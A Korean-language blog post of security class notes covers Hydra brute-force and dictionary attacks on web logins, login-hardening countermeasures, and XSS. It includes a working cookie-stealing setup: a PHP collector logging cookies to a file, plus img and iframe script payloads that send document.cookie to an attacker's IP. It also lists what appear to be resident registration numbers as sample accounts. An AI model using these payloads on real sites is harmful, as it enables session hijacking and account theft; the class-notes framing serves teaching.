24일차 인증공격 XSS

* 본 게시물의 내용은 수업에서 배운 것을 정리한 것이므로 악용해서는 안됩니다.

  게시된 내용들은 잘 알려져있는 기술들입니다. 따라서  악용하더라도 쉽게 적발되니

  절대 악용해서는 안됩니다.

--------------------------------------------------------------------------------------------

*인증 관련 공격기법

- Basic 인증은 ID와 Password를 Base64 방식으로 인코딩하여 모든 HTTP Request에 포함시켜 보낸다.

공격방법

Sniffing

Base64 방식으로 인코딩된 ID와 Password를 수집하여 탈취

- ID/PW Brute Forcing

 hydra 툴로 , Brute Forcing , dictionary attack 도 가능하다.

Brute Forcing 은 무차별로 대입해서 하는 공격이기 때문에 비밀번호를 알아낼 수 있는 확률은 100%지만 비밀번호가 얼마나 길고, 어렵냐에 따라서 걸리는 시간이 달라진다.

Dictionary attack은 알아낼 수도 있고 없을 수도 있다.

따라서 공격자들은 Dictionary 부터 해보고 Brute Forcing을 진행한다.

https://howsecureismypassword.net/ 라는 사이트를 살펴보겠다.

Dictionary attack에 사용되는 파일을 만드는 사이트일 수도 있으니 본인 패스워드를 입력하지말고 비슷하게 입력해보면 얼마나 걸릴까

위와같이 즉시라고 나온다면 심각한 것이다.

hydra 툴을 사용할 때는 페이지마다 로그온하는 방식도 다 다르기 때문에, 로그온할 때 처리하는 url, 파라미터 정보들을 알려줘야 한다.

Dictionary Attack 에 사용할 파일을 만든다.

아무 비밀번호나 넣어두되, nuno의 비밀번호(dlaudtn)도 포함시킨다

로그인 성공, 실패 둘다 확인이 가능한 사이트이냐 아니냐에 따라 방법이 다를 것이다.

로그온 실패 할 시에만 나오는 문자열을 찾아서 로그온 성공 실패를 구분할 수 있어야한다.

그런데 로그온 성공 실패를 둘다 알지 못하는 상황에는 실패에는 보이지만 성공했을 때 안보여야할 만한 것이 뭐있을 까 생각을 해야한다.

위와 같이 로그온 성공한다면 history.back 안하겠구나 지레짐작 할 수 있다.

물론 아닐 수도 있다.

로그인 성공을 하는 상황을 만들어 낼 수 있다면을 가정하겠다.

먼저 attacker라는 임의의 계정을 생성했다.

body 부분에 history 나 back이라는 단어가 없기 때문에 공격을 하기 수월하겠다.

-t : 쓰레드 개수

-w : 응답메시지 최대 몇초까지 기다릴 것인가

-V : 진행 상황을 보는 옵션

-l:  아이디

-P:  Dictronary File

http form 형태이고 메소드는 post이다.

그 다음에 ""안에 들어가는 정보들은

1. 로그온 처리할 때 사용하는 URL 주소

2. 파라미터들

3. 로그인 실패를 확인할 문자열

총 세개다.

^PASS^는 passwords.txt에서 값을 하나씩 가지고와서 입력하게된다.

이렇게 실행되고 만약 비밀번호가 Dictionary File에 존재한다면 찾았다고 알려준다.

Form Based Auth Attack using Hydra tool

1. Camel 사이트 관리자가 사용하는 일반 사용자 계정(admin)과 공격자 계정 만들기

(800807-2902210, 801223-1325618)

2.Hydra 툴을 이용해 관리자용 계정의 암호 찾기.

* 대응책

 로그인 실패시 제공되는 정보를 제한

(X) 해당 ID가 없습니다. 비밀번호가 맞지 않습니다

(O) ID 또는 비밀번호가 맞지 않습니다.

 계정 잠금 정책을 사용

예) 3회 실패 시 일정 시간 계정 잠금

 로그인 처리 시간을 지연

* 추가 대응책

 로그인 사용자의 IP를 확인하여 동시접속을 제어

CAPTCHA 같은 것으로 제한을 풀어줄 수도 있다

######################

* WEB SESSION 관련 공격기법

- Brute Forcing Session Token 

 Session Token 생성 알고리즘이 간단하여 쉽게 유추할 수 있는 경우

 

-Web Session Hijacking

Sniffing을 통해

XSS를 통해 

이 자바스크립트 객체를 실행 할 수만 있다면 세션쿠키값을 가져올 수 있다.

* XSS ( CROSS SITE SCRIPTING)

요즘은 정적인 페이지보다 동적인 페이지를 구성하고 있는 경우가 많기 때문에 다양한 스크립트 환경을 제공해주게 된다.

사용자로부터 입력된 데이터를 적절히 검증하지 않으면 보안상 취약점이 발생할 수 있다.

Cookie Access

DOM Access

Clipboard Access

Key logging

- Reflective XSS (non-persistent)

 공격자는 악성 스크립트를 포함한 URL을 Victim에게 노출

 악성 스크립트는 서버에 저장되지 않는다.

- Stored XSS (persistent)

 공격자는 악성 스크립트를 XSS에 취약한 웹 서버에 저장

 공격자는 해당 게시물을 Victim에게 노출시킴

공격자는 XSS에 취약한 곳을 먼저 찾는다.

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

위는 XSS에 취약한지 테스트 할 수 있는 사이트이다

http://nevercmecry.tistory.com/admin/entry/post/?id=25 는 스크립트를 넣어놨다.

네이버 블로그는 안돼서 티스토리도 안될줄 알았는데 실행된다. 티스토리는 마냥 안전한 사이트가 아닌 것 같다

<script>alert(document.cookie)</script> 을 심어두면 쿠키값이 뜬다.

이 또한 막혀있지 않다.

이런식으로 쿠키값을 공격자에게 전송하도록 할 수도 있겠다.

이미지 태그를 활용한 스크립트 실행 구문이다.

0 0 으로 해줘야 엑박이 안뜬다

a+ cookie.dat 파일의 맨뒤에 추가 없을시 생성

REMOTE_ADDR - 공격 대상 IP

아까 작성한 걸 그대로 해주고 cat으로 확인해준다.

getcookie.php

<?php

$fd = fopen("/tmp/cookie.dat","a+"); 

fputs($fd, $REMOTE_ADDR." "."Cookie = ".$_GET["cookie"]."\n");

fclose($fd);

?>

수정해준다.

설정을 바꿨으니 아파치서버를 중지했다가 시작해준다.

이제 게시글을 작성해본다.

<img name="i" width="0" height="0"></img>

<script >i.src='http://BT IP/getcookie.php?cookie='+document.cookie</script >

이미지가 안된다면

iframe은 아래와 같이 해준다.

<iframe name='i' width='0' height='0'></iframe>

<script>i.loaction='http://<BT IP>/getcookie.php?cookie='+document.cookie</script>

ex) <img name="i" width="0" height="0"></img>

<script >i.src='http://10.10.10.3/getcookie.php?cookie='+document.cookie</script >

공격대상자의 컴퓨터에서 게시글을 확인한다

공격자가 확인이 가능해진다.